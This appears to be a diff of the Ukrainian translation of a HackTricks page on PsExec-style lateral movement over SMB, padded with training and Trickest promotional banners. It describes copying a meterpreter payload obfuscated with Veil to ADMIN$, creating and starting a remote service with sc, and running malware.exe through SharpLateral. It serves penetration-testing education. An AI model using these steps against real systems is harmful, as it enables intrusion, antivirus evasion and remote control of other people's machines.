* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -15,30 +15,37 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
## Як вони працюють
Процес описаний у наступних кроках, що ілюструють, як маніпулюються бінарні файли служб для досягнення віддаленого виконання на цільовій машині через SMB:
Процес описаний у наступних кроках, ілюструючи, як бінарні файли сервісів маніпулюються для досягнення віддаленого виконання на цільовій машині через SMB:
1. **Копіювання бінарного файлу служби до спільного доступу ADMIN$ через SMB** виконується.
2. **Створення служби на віддаленій машині** здійснюється шляхом вказівки на бінарний файл.
3. Служба **запускається віддалено**.
4. Після виходу служба **зупиняється, а бінарний файл видаляється**.
1. **Копіювання бінарного файлу сервісу на спільний доступ ADMIN$ через SMB** виконується.
2. **Створення сервісу на віддаленій машині** здійснюється шляхом вказівки на бінарний файл.
3. Сервіс **запускається віддалено**.
4. Після виходу сервіс **зупиняється, а бінарний файл видаляється**.
### **Процес ручного виконання PsExec**
Припустимо, що є виконуваний вантаж (створений за допомогою msfvenom і обфусцований за допомогою Veil для уникнення виявлення антивірусом), названий 'met8888.exe', що представляє вантаж meterpreter reverse_http, виконуються наступні кроки:
- **Копіювання бінарного файлу**: Виконуваний файл копіюється до спільного доступу ADMIN$ з командного рядка, хоча його можна розмістити в будь-якому місці файлової системи, щоб залишитися непоміченим.
- **Копіювання бінарного файлу**: Виконуваний файл копіюється на спільний доступ ADMIN$ з командного рядка, хоча його можна розмістити в будь-якому місці файлової системи, щоб залишитися непоміченим.
- **Створення служби**: Використовуючи команду Windows `sc`, яка дозволяє запитувати, створювати та видаляти служби Windows віддалено, створюється служба з назвою "meterpreter", яка вказує на завантажений бінарний файл.
- **Створення сервісу**: Використовуючи команду Windows `sc`, яка дозволяє запитувати, створювати та видаляти сервіси Windows віддалено, створюється сервіс з назвою "meterpreter", що вказує на завантажений бінарний файл.
- **Запуск служби**: Останній крок полягає в запуску служби, що, ймовірно, призведе до помилки "time-out" через те, що бінарний файл не є справжнім бінарним файлом служби і не повертає очікуваний код відповіді. Ця помилка не має значення, оскільки основна мета - виконання бінарного файлу.
- **Запуск сервісу**: Останній крок полягає в запуску сервісу, що, ймовірно, призведе до помилки "time-out" через те, що бінарний файл не є справжнім бінарним файлом сервісу і не повертає очікуваний код відповіді. Ця помилка не має значення, оскільки основна мета - виконання бінарного файлу.
Спостереження за прослуховувачем Metasploit покаже, що сесія була успішно ініційована.
[Дізнайтеся більше про команду `sc`](https://technet.microsoft.com/en-us/library/bb490995.aspx).
Знайдіть більш детальні кроки за адресою: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
Знайдіть більш детальні кроки на: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**Ви також можете використовувати бінарний файл Windows Sysinternals PsExec.exe:**
@ -52,6 +59,13 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
{% endcode %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection), щоб легко створювати та **автоматизувати робочі процеси**, які підтримуються **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -61,8 +75,8 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}